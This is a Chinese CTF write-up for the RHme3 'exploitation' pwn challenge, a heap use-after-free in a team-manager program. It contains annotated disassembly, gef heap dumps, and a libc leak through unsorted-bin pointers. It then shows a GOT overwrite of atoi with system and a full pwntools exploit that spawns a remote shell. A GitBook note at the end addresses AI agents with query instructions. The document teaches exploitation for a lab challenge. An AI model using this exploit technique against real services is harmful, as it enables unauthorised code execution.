|           0x00401ce7      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
|           0x00401cf0      488945e8       mov qword [local_18h], rax
|           0x00401cf4      31c0           xor eax, eax
|           0x00401cf6      bf69254000     mov edi, str.Enter_new_name: ; 0x402569 ; "Enter new name: "
|           0x00401cfb      b800000000     mov eax, 0
|           0x00401d00      e8fbefffff     call sym.imp.printf         ; int printf(const char *format)
|           0x00401d05      488b05541420.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|           0x00401d0c      4889c7         mov rdi, rax
|           0x00401d0f      e8acf0ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|           0x00401d14      488d85e0feff.  lea rax, rbp - 0x120
|           0x00401d1b      be00010000     mov esi, 0x100              ; 256
|           0x00401d20      4889c7         mov rdi, rax
|           0x00401d23      e89bf7ffff     call sym.readline            ; 读入修改的字符串，即 system 的地址
|           0x00401d28      488d85e0feff.  lea rax, rbp - 0x120
|           0x00401d2f      4889c7         mov rdi, rax
|           0x00401d32      e869efffff     call sym.imp.strlen         ; size_t strlen(const char *s)
|           0x00401d37      4889c3         mov rbx, rax
|           0x00401d3a      488b052f1420.  mov rax, qword [obj.selected] ; [0x603170:8]=0
|           0x00401d41      488b4010       mov rax, qword [rax + 0x10] ; [0x10:8]=-1 ; 16
|           0x00401d45      4889c7         mov rdi, rax
|           0x00401d48      e853efffff     call sym.imp.strlen         ; size_t strlen(const char *s)
|           0x00401d4d      4839c3         cmp rbx, rax
|       ,=< 0x00401d50      7667           jbe 0x401db9                 ; rab == rax，成功跳转
|       |   0x00401d52      488d85e0feff.  lea rax, rbp - 0x120
|       |   0x00401d59      4889c7         mov rdi, rax
|       |   0x00401d5c      e83fefffff     call sym.imp.strlen         ; size_t strlen(const char *s)
|       |   0x00401d61      488d5001       lea rdx, rax + 1            ; 1
|       |   0x00401d65      488b05041420.  mov rax, qword [obj.selected] ; [0x603170:8]=0
|       |   0x00401d6c      488b4010       mov rax, qword [rax + 0x10] ; [0x10:8]=-1 ; 16
|       |   0x00401d70      4889d6         mov rsi, rdx
|       |   0x00401d73      4889c7         mov rdi, rax
|       |   0x00401d76      e865f0ffff     call sym.imp.realloc        ; void *realloc(void *ptr, size_t size)
|       |   0x00401d7b      488985d8feff.  mov qword [local_128h], rax
|       |   0x00401d82      4883bdd8feff.  cmp qword [local_128h], 0
|      ,==< 0x00401d8a      751b           jne 0x401da7
|      ||   0x00401d8c      bf7a254000     mov edi, str.Could_not_realloc_: ; 0x40257a ; "Could not realloc :("
|      ||   0x00401d91      e8eaeeffff     call sym.imp.puts           ; int puts(const char *s)
|      ||   0x00401d96      488b05c31320.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|      ||   0x00401d9d      4889c7         mov rdi, rax
|      ||   0x00401da0      e81bf0ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|     ,===< 0x00401da5      eb2f           jmp 0x401dd6
|     |||      ; JMP XREF from 0x00401d8a (sym.set_name)
|     |`--> 0x00401da7      488b05c21320.  mov rax, qword [obj.selected] ; [0x603170:8]=0
|     | |   0x00401dae      488b95d8feff.  mov rdx, qword [local_128h]
|     | |   0x00401db5      48895010       mov qword [rax + 0x10], rdx
|     | |      ; JMP XREF from 0x00401d50 (sym.set_name)
|     | `-> 0x00401db9      488b05b01320.  mov rax, qword [obj.selected] ; [0x603170:8]=0 ; 取出选中球员的地址
|     |     0x00401dc0      488b4010       mov rax, qword [rax + 0x10] ; [0x10:8]=-1 ; 16 ; player.name 字段，即 atoi@got
|     |     0x00401dc4      488d95e0feff.  lea rdx, rbp - 0x120         ; system@got
|     |     0x00401dcb      4889d6         mov rsi, rdx                 ; rsi <- rdx
|     |     0x00401dce      4889c7         mov rdi, rax                 ; rdi <- rax
|     |     0x00401dd1      e89aeeffff     call sym.imp.strcpy         ; char *strcpy(char *dest, const char *src) ; 用 system 的地址覆盖 atoi 的地址
|     |        ; JMP XREF from 0x00401da5 (sym.set_name)
|     `---> 0x00401dd6      488b45e8       mov rax, qword [local_18h]
|           0x00401dda      644833042528.  xor rax, qword fs:[0x28]
|       ,=< 0x00401de3      7405           je 0x401dea
|       |   0x00401de5      e8d6eeffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       |      ; JMP XREF from 0x00401de3 (sym.set_name)
|       `-> 0x00401dea      4881c4280100.  add rsp, 0x128
|           0x00401df1      5b             pop rbx
|           0x00401df2      5d             pop rbp
\           0x00401df3      c3             ret
```

### 动态分析

漏洞大概清楚了，我们使用 gdb 动态调试一下，为了方便分析，先关闭 ASRL。gef 有个很强大的命令 `heap-analysis-helper`，可以追踪 `malloc()`、`free()`、`realloc()` 等函数的调用：

```
gef➤  heap-analysis-helper
[*] This feature is under development, expect bugs and unstability...
[+] Tracking malloc()
[+] Tracking free()
[+] Tracking realloc()
[+] Disabling hardware watchpoints (this may increase the latency)
[+] Dynamic breakpoints correctly setup, GEF will break execution if a possible vulnerabity is found.
[*] Note: The heap analysis slows down noticeably the execution.
gef➤  c
Continuing.
Welcome to your TeamManager (TM)!
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice: 1
Found free slot: 0
[+] Heap-Analysis - malloc(24)=0x604010
Enter player name: aaaa
[+] Heap-Analysis - malloc(5)=0x604030
Enter attack points: 1
Enter defense points: 2
Enter speed: 3
Enter precision: 4
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice: 2
Enter index: 0
[+] Heap-Analysis - free(0x604030)
[+] Heap-Analysis - watching 0x604030
[+] Heap-Analysis - free(0x604010)
[+] Heap-Analysis - watching 0x604010
She's gone!
```

很好地验证了球员分配和删除的过程。

## 漏洞利用

### alloc and select

然后是内存，根据我们对堆管理机制的理解，这里选择使用 small chunk（球员 name chunk）：

```python
alloc('A' * 0x60)
alloc('B' * 0x80)
alloc('C' * 0x80)
select(1)
```

```
gef➤  x/4gx 0x603180
0x603180 <players>:	0x0000000000604010	0x00000000006040a0
0x603190 <players+16>:	0x0000000000604150	0x0000000000000000
gef➤  x/70gx 0x604010-0x10
0x604000:	0x0000000000000000	0x0000000000000021 <-- player 0 <-- actual player chunk
0x604010:	0x0000000200000001	0x0000000400000003              <-- pointer returned by malloc
0x604020:	0x0000000000604030	0x0000000000000071 <-- name 0   <-- player's name chunk
0x604030:	0x4141414141414141	0x4141414141414141
0x604040:	0x4141414141414141	0x4141414141414141
0x604050:	0x4141414141414141	0x4141414141414141
0x604060:	0x4141414141414141	0x4141414141414141
0x604070:	0x4141414141414141	0x4141414141414141
0x604080:	0x4141414141414141	0x4141414141414141
0x604090:	0x0000000000000000	0x0000000000000021 <-- player 1
0x6040a0:	0x0000000200000001	0x0000000400000003              <-- selected
0x6040b0:	0x00000000006040c0	0x0000000000000091 <-- name 1
0x6040c0:	0x4242424242424242	0x4242424242424242
0x6040d0:	0x4242424242424242	0x4242424242424242
0x6040e0:	0x4242424242424242	0x4242424242424242
0x6040f0:	0x4242424242424242	0x4242424242424242
0x604100:	0x4242424242424242	0x4242424242424242
0x604110:	0x4242424242424242	0x4242424242424242
0x604120:	0x4242424242424242	0x4242424242424242
0x604130:	0x4242424242424242	0x4242424242424242
0x604140:	0x0000000000000000	0x0000000000000021 <-- player 2
0x604150:	0x0000000200000001	0x0000000400000003
0x604160:	0x0000000000604170	0x0000000000000091 <-- name 2
0x604170:	0x4343434343434343	0x4343434343434343
0x604180:	0x4343434343434343	0x4343434343434343
0x604190:	0x4343434343434343	0x4343434343434343
0x6041a0:	0x4343434343434343	0x4343434343434343
0x6041b0:	0x4343434343434343	0x4343434343434343
0x6041c0:	0x4343434343434343	0x4343434343434343
0x6041d0:	0x4343434343434343	0x4343434343434343
0x6041e0:	0x4343434343434343	0x4343434343434343
0x6041f0:	0x0000000000000000	0x0000000000020e11              <-- top chunk
0x604200:	0x0000000000000000	0x0000000000000000
0x604210:	0x0000000000000000	0x0000000000000000
0x604220:	0x0000000000000000	0x0000000000000000
gef➤  p selected
$2 = 0x6040a0
```

### free

然后：

```python
free(1)
```

```
gef➤  x/4gx 0x603180
0x603180 <players>:	0x0000000000604010	0x0000000000000000 <-- set zero
0x603190 <players+16>:	0x0000000000604150	0x0000000000000000
gef➤  x/70gx 0x604010-0x10
0x604000:	0x0000000000000000	0x0000000000000021 <-- player 0
0x604010:	0x0000000200000001	0x0000000400000003
0x604020:	0x0000000000604030	0x0000000000000071 <-- name 0
0x604030:	0x4141414141414141	0x4141414141414141
0x604040:	0x4141414141414141	0x4141414141414141
0x604050:	0x4141414141414141	0x4141414141414141
0x604060:	0x4141414141414141	0x4141414141414141
0x604070:	0x4141414141414141	0x4141414141414141
0x604080:	0x4141414141414141	0x4141414141414141
0x604090:	0x0000000000000000	0x0000000000000021 <-- player 1 [be freed] <-- fastbins
0x6040a0:	0x0000000000000000	0x0000000400000003              <-- selected
0x6040b0:	0x00000000006040c0	0x0000000000000091 <-- name 1 [be freed] <-- unsorted_bin
0x6040c0:	0x00007ffff7dd1b78	0x00007ffff7dd1b78              <-- fd | bk
0x6040d0:	0x4242424242424242	0x4242424242424242
0x6040e0:	0x4242424242424242	0x4242424242424242
0x6040f0:	0x4242424242424242	0x4242424242424242
0x604100:	0x4242424242424242	0x4242424242424242
0x604110:	0x4242424242424242	0x4242424242424242
0x604120:	0x4242424242424242	0x4242424242424242
0x604130:	0x4242424242424242	0x4242424242424242
0x604140:	0x0000000000000090	0x0000000000000020 <-- player 2
0x604150:	0x0000000200000001	0x0000000400000003
0x604160:	0x0000000000604170	0x0000000000000091 <-- name 2
0x604170:	0x4343434343434343	0x4343434343434343
0x604180:	0x4343434343434343	0x4343434343434343
0x604190:	0x4343434343434343	0x4343434343434343
0x6041a0:	0x4343434343434343	0x4343434343434343
0x6041b0:	0x4343434343434343	0x4343434343434343
0x6041c0:	0x4343434343434343	0x4343434343434343
0x6041d0:	0x4343434343434343	0x4343434343434343
0x6041e0:	0x4343434343434343	0x4343434343434343
0x6041f0:	0x0000000000000000	0x0000000000020e11              <-- top chunk
0x604200:	0x0000000000000000	0x0000000000000000
0x604210:	0x0000000000000000	0x0000000000000000
0x604220:	0x0000000000000000	0x0000000000000000
gef➤  p selected
$3 = 0x6040a0
gef➤  heap bins
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x6040a0, size=0x20, flags=PREV_INUSE)
gef➤  heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x6040b0, bk=0x6040b0
 →   Chunk(addr=0x6040c0, size=0x90, flags=PREV_INUSE)
```

我们知道，当一个 small chunk 被释放后，会被放到 unsorted bin 中，这是一个双向链表，它的 fd 指针指向了链表的头部，即地址 `0x00007ffff7dd1b78`。然后使用命令 `vmmap` 获得 libc 被加载的地址，用链表头部地址减掉它，得到偏移。当开启 ASLR 后，其地址会变，但偏移不变。同时，释放的 player 1 chunk 被加入到 fastbins 单链表中。

```
[0x00400ec0]> ?v 0x00007ffff7dd1b78 - 0x00007ffff7a0d000
0x3c4b78
```

再次 free，将 player 2 释放，因为 player 1 也是被释放的状态，所以两个 chunk 会被合并（其实 player 是 fast chunk，不会被合并，真正合并的是 name chunk）：

```python
free(2)
```

```
gef➤  x/4gx 0x603180
0x603180 <players>:	0x0000000000604010	0x0000000000000000
0x603190 <players+16>:	0x0000000000000000	0x0000000000000000
gef➤  x/70gx 0x604010-0x10
0x604000:	0x0000000000000000	0x0000000000000021 <-- player 0
0x604010:	0x0000000200000001	0x0000000400000003
0x604020:	0x0000000000604030	0x0000000000000071 <-- name 0
0x604030:	0x4141414141414141	0x4141414141414141
0x604040:	0x4141414141414141	0x4141414141414141
0x604050:	0x4141414141414141	0x4141414141414141
0x604060:	0x4141414141414141	0x4141414141414141
0x604070:	0x4141414141414141	0x4141414141414141
0x604080:	0x4141414141414141	0x4141414141414141
0x604090:	0x0000000000000000	0x00000000000000b1 <-- player 1 [be freed] <-- unsorted_bin
0x6040a0:	0x00007ffff7dd1b78	0x00007ffff7dd1b78              <-- selected
0x6040b0:	0x00000000006040c0	0x0000000000000091 <-- player 2 [be freed]
0x6040c0:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
0x6040d0:	0x4242424242424242	0x4242424242424242
0x6040e0:	0x4242424242424242	0x4242424242424242
0x6040f0:	0x4242424242424242	0x4242424242424242
0x604100:	0x4242424242424242	0x4242424242424242
0x604110:	0x4242424242424242	0x4242424242424242
0x604120:	0x4242424242424242	0x4242424242424242
0x604130:	0x4242424242424242	0x4242424242424242
0x604140:	0x00000000000000b0	0x0000000000000020              <-- fastbins
0x604150:	0x0000000000000000	0x0000000400000003
0x604160:	0x0000000000604170	0x0000000000020ea1
0x604170:	0x4343434343434343	0x4343434343434343
0x604180:	0x4343434343434343	0x4343434343434343
0x604190:	0x4343434343434343	0x4343434343434343
0x6041a0:	0x4343434343434343	0x4343434343434343
0x6041b0:	0x4343434343434343	0x4343434343434343
0x6041c0:	0x4343434343434343	0x4343434343434343
0x6041d0:	0x4343434343434343	0x4343434343434343
0x6041e0:	0x4343434343434343	0x4343434343434343
0x6041f0:	0x0000000000000000	0x0000000000020e11              <-- top chunk
0x604200:	0x0000000000000000	0x0000000000000000
0x604210:	0x0000000000000000	0x0000000000000000
0x604220:	0x0000000000000000	0x0000000000000000
gef➤  p selected
$4 = 0x6040a0
gef➤  heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x604150, size=0x20, flags=)
gef➤  heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x604090, bk=0x604090
 →   Chunk(addr=0x6040a0, size=0xb0, flags=PREV_INUSE)
```

### alloc again

添加一个球员，player chunk 将从 fastbins 链表中取出，而 name chunk 将从 unsorted\_bin 中取出：

```python
alloc('D'*16 + p64(atoi_got))
```

```
gef➤  x/4gx 0x603180
0x603180 <players>:	0x0000000000604010	0x0000000000604150
0x603190 <players+16>:	0x0000000000000000	0x0000000000000000
gef➤  x/70gx 0x604010-0x10
0x604000:	0x0000000000000000	0x0000000000000021 <-- player 0
0x604010:	0x0000000200000001	0x0000000400000003
0x604020:	0x0000000000604030	0x0000000000000071 <-- name 0
0x604030:	0x4141414141414141	0x4141414141414141
0x604040:	0x4141414141414141	0x4141414141414141
0x604050:	0x4141414141414141	0x4141414141414141
0x604060:	0x4141414141414141	0x4141414141414141
0x604070:	0x4141414141414141	0x4141414141414141
0x604080:	0x4141414141414141	0x4141414141414141
0x604090:	0x0000000000000000	0x0000000000000021 <-- name 3
0x6040a0:	0x4444444444444444	0x4444444444444444              <-- selected
0x6040b0:	0x0000000000603110	0x0000000000000091              <-- unsorted_bin
0x6040c0:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
0x6040d0:	0x4242424242424242	0x4242424242424242
0x6040e0:	0x4242424242424242	0x4242424242424242
0x6040f0:	0x4242424242424242	0x4242424242424242
0x604100:	0x4242424242424242	0x4242424242424242
0x604110:	0x4242424242424242	0x4242424242424242
0x604120:	0x4242424242424242	0x4242424242424242
0x604130:	0x4242424242424242	0x4242424242424242
0x604140:	0x0000000000000090	0x0000000000000020 <-- player 3
0x604150:	0x0000000200000001	0x0000000400000003
0x604160:	0x00000000006040a0	0x0000000000020ea1
0x604170:	0x4343434343434343	0x4343434343434343
0x604180:	0x4343434343434343	0x4343434343434343
0x604190:	0x4343434343434343	0x4343434343434343
0x6041a0:	0x4343434343434343	0x4343434343434343
0x6041b0:	0x4343434343434343	0x4343434343434343
0x6041c0:	0x4343434343434343	0x4343434343434343
0x6041d0:	0x4343434343434343	0x4343434343434343
0x6041e0:	0x4343434343434343	0x4343434343434343
0x6041f0:	0x0000000000000000	0x0000000000020e11              <-- top chunk
0x604200:	0x0000000000000000	0x0000000000000000
0x604210:	0x0000000000000000	0x0000000000000000
0x604220:	0x0000000000000000	0x0000000000000000
gef➤  p selected
$5 = 0x6040a0
gef➤  heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x6040b0, bk=0x6040b0
 →   Chunk(addr=0x6040c0, size=0x90, flags=PREV_INUSE)
```

### edit and get shell

编辑 selected 处的 chunck，即 name 3：

```python
# atoi@got -> system@got
edit(p64(system))

# get shell
p.recvuntil('choice: ')
p.sendline('sh')
```

函数 atoi\@got 已经被我们覆盖为 system\@got，当调用 atoi 时，实际上是执行了 system('sh')：

```
gef➤  p atoi
$2 = {int (const char *)} 0x7ffff7a43e80 <atoi>
gef➤  x/gx 0x603110
0x603110:   0x00007ffff7a52390
```

到这里，我们可以重新启用 ASLR 了，该保护机制已经被绕过。

Bingo!!!

```
$ python exp.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] leak   => 0x7fcd41824b78
[*] libc   => 0x7fcd41460000
[*] system => 0x7fcd414a5390
[*] Switching to interactive mode
$ whoami
firmy
```

### exploit

完整的 exp 如下：

```python
from pwn import *

# context.log_level = 'debug'

p = remote('127.0.0.1', 10001)
# p = process('./main.elf')

def alloc(name, attack = 1, defense = 2, speed = 3, precision = 4):
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil('name: ')
    p.sendline(name)
    p.recvuntil('points: ')
    p.sendline(str(attack))
    p.recvuntil('points: ')
    p.sendline(str(defense))
    p.recvuntil('speed: ')
    p.sendline(str(speed))
    p.recvuntil('precision: ')
    p.sendline(str(precision))

def free(idx):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.recvuntil('index: ')
    p.sendline(str(idx))

def select(idx):
    p.recvuntil('choice: ')
    p.sendline('3')
    p.recvuntil('index: ')
    p.sendline(str(idx))

def edit(name):
    p.recvuntil('choice: ')
    p.sendline('4')
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil('name: ')
    p.sendline(name)

def show():
    p.recvuntil('choice: ')
    p.sendline('5')

# gdb.attach(p, '''
# b *0x00402205
# c
# ''')

atoi_got = 0x603110

alloc('A' * 0x60)
alloc('B' * 0x80)
alloc('C' * 0x80)
select(1)

free(1)
show()
p.recvuntil('Name: ')

leak    = u64(p.recv(6).ljust(8, '\x00'))
libc    = leak - 0x3c4b78   # 0x3c4b78 = leak - libc
system  = libc + 0x045390   # $ readelf -s libc-2.23.so | grep system@

log.info("leak   => 0x%x" % leak)
log.info("libc   => 0x%x" % libc)
log.info("system => 0x%x" % system)

free(2)

alloc('D'*16 + p64(atoi_got))

# atoi@got -> system@got
edit(p64(system))

# get shell
p.recvuntil('choice: ')
p.sendline('sh')
p.interactive()
```

## 参考资料

* <https://ctftime.org/task/4528>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://firmianay.gitbook.io/ctf-all-in-one/6_writeup/pwn/6.1.9_pwn_rhme3_exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
